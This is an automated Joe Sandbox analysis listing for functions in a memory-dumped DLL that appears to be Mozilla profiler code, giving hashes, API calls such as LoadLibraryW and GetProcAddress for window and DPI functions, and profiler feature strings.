Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

-Infinity, xrefs: 6C609E60, 6C609E7B
NaN, xrefs: 6C609EAB

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C5ADE7F
@, xrefs: 6C5ADAF6
-, xrefs: 6C5AD7DD
0, xrefs: 6C5ADC7F
, xrefs: 6C5ADA88
8, xrefs: 6C5ADC08
1, xrefs: 6C5ADBDD
0, xrefs: 6C5AD852

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C6156C7, 6C61921F, 6C615703, 6C619269, 6C619459, 6C615740, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C6156C7, 6C61921F, 6C615703, 6C619269, 6C619459, 6C615740, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C617796, 6C6179FB, 6C61793C, 6C617E0B, 6C6179C0, 6C617B0B

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C6179FB, 6C61793C, 6C617E0B, 6C617C03, 6C6179C0, 6C617C72, 6C617B0B

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

GetMonitorInfoW, xrefs: 6C6057A2
SetWindowLongPtrW, xrefs: 6C6057B7
GetThreadDpiAwarenessContext, xrefs: 6C60562D
AreDpiAwarenessContextsEqual, xrefs: 6C605637
gdi32, xrefs: 6C60560A
GetWindowDC, xrefs: 6C605710
FillRect, xrefs: 6C605729
GetDpiForWindow, xrefs: 6C605690
CreateWindowExW, xrefs: 6C6056C5
ShowWindow, xrefs: 6C6056DE
CreateSolidBrush, xrefs: 6C6057E4
LoadIconW, xrefs: 6C60575B
EnableNonClientDpiScaling, xrefs: 6C605666
StretchDIBits, xrefs: 6C6057CC
DeleteObject, xrefs: 6C6057F9
user32, xrefs: 6C605601
RegisterClassW, xrefs: 6C6056AC
GetSystemMetricsForDpi, xrefs: 6C605677
ReleaseDC, xrefs: 6C605742
MonitorFromWindow, xrefs: 6C60578D
LoadCursorW, xrefs: 6C605774
SetWindowPos, xrefs: 6C6056F7

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C5ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

fileioall, xrefs: 6C5ECCA8
leaf, xrefs: 6C5ECC66
Unrecognized feature "%s"., xrefs: 6C5ECEA0
stackwalk, xrefs: 6C5ECCF8
nostacksampling, xrefs: 6C5ECD7C
noiostacks, xrefs: 6C5ECCBE
screenshots, xrefs: 6C5ECCD4
notimerresolutionchange, xrefs: 6C5ECE00
mainthreadio, xrefs: 6C5ECC7C
fileio, xrefs: 6C5ECC92
processcpu, xrefs: 6C5ECE6E
audiocallbacktracing, xrefs: 6C5ECDD4
markersallthreads, xrefs: 6C5ECE42
power, xrefs: 6C5ECE84
java, xrefs: 6C5ECC37
nativeallocations, xrefs: 6C5ECDA8
seqstyle, xrefs: 6C5ECCE6
samplingallthreads, xrefs: 6C5ECE2C
ipcmessages, xrefs: 6C5ECDBE
jsallocations, xrefs: 6C5ECD0E
unregisteredthreads, xrefs: 6C5ECE58
default, xrefs: 6C5ECC21
preferencereads, xrefs: 6C5ECD92
cpuallthreads, xrefs: 6C5ECE16

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

